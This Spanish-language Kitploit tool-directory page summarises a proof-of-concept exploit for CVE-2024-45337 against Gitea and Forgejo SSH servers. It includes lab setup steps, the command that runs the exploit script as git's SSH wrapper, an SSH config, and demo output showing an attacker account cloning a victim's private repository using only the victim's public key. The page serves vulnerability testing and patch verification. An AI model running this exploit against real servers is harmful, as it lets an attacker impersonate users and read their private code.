Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-45337 — Prueba de concepto para CVE-2024-45337 contra Gitea y Forgejo | Kitploit
Herramientas/GitHubGitHub/peace-maker/cve-2024-45337
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticación
GitHubpeace-maker/cve-2024-45337

CVE-2024-45337

Prueba de concepto para CVE-2024-45337 contra Gitea y Forgejo

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit de prueba de concepto para CVE-2024-45337

Este repositorio contiene un exploit de prueba de concepto para CVE-2024-45337. Se puede utilizar para envolver ssh al interactuar con un servidor SSH implementado con golang.org/x/crypto <= v0.30.0., mientras se almacenan en caché los permisos en la devolución de llamada ServerConfig.PublicKeyCallback de manera insegura.

Gitea <= 1.22.4 y Forgejo <= 7.0.11, 9.0.2 son vulnerables cuando se alojan mediante el servidor SSH interno. Puedes suplantar a cualquier usuario siempre que conozcas una de las claves públicas asociadas a su cuenta. Necesitas tener una cuenta propia que uses para la autenticación ssh.

Ejecutar el PoC

  1. Inicia una instancia vulnerable de forgejo o gitea. Las imágenes Docker de Gitea no son vulnerables, por lo que tendrás que ejecutarla usando un binario nativo.
root@kitploit:~
docker compose -f docker-compose.forgejo.yml up -d
  1. Instala cambiando el puerto SSH a 22 en http://localhost:3000
  2. Registra un usuario victim
    1. Agrega la clave pública de la víctima a la cuenta en http://localhost:3000/user/settings/keys
    2. Crea un repositorio privado llamado important_repo y genera un commit inicial con un README para que tengas algo que clonar
  3. Registra un usuario attacker
    1. Agrega la clave pública del atacante a la cuenta en http://localhost:3000/user/settings/keys
  4. Clona el repositorio usando la cuenta del atacante
    1. Establece GIT_ATTACK_PRIVKEY con la ruta a la clave privada de la cuenta válida
    2. Establece GIT_ATTACK_PUBKEY con la ruta a la clave pública conocida de la otra cuenta objetivo. No conocemos la clave privada de esa cuenta.
    3. Establece GIT_SSH con la ruta al script de explotación para indicarle a git que use esto en lugar del comando ssh nativo
root@kitploit:~
GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git

Demostración

Usa .ssh/config para especificar las claves durante la clonación

root@kitploit:~
Host sshvictim
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_victim
 IdentitiesOnly yes
Host sshattacker
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_attacker
 IdentitiesOnly yes

Ejecuta contra el contenedor local de Forgejo 7.0.11 configurado como se indicó anteriormente.

root@kitploit:~
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
Descargar herramienta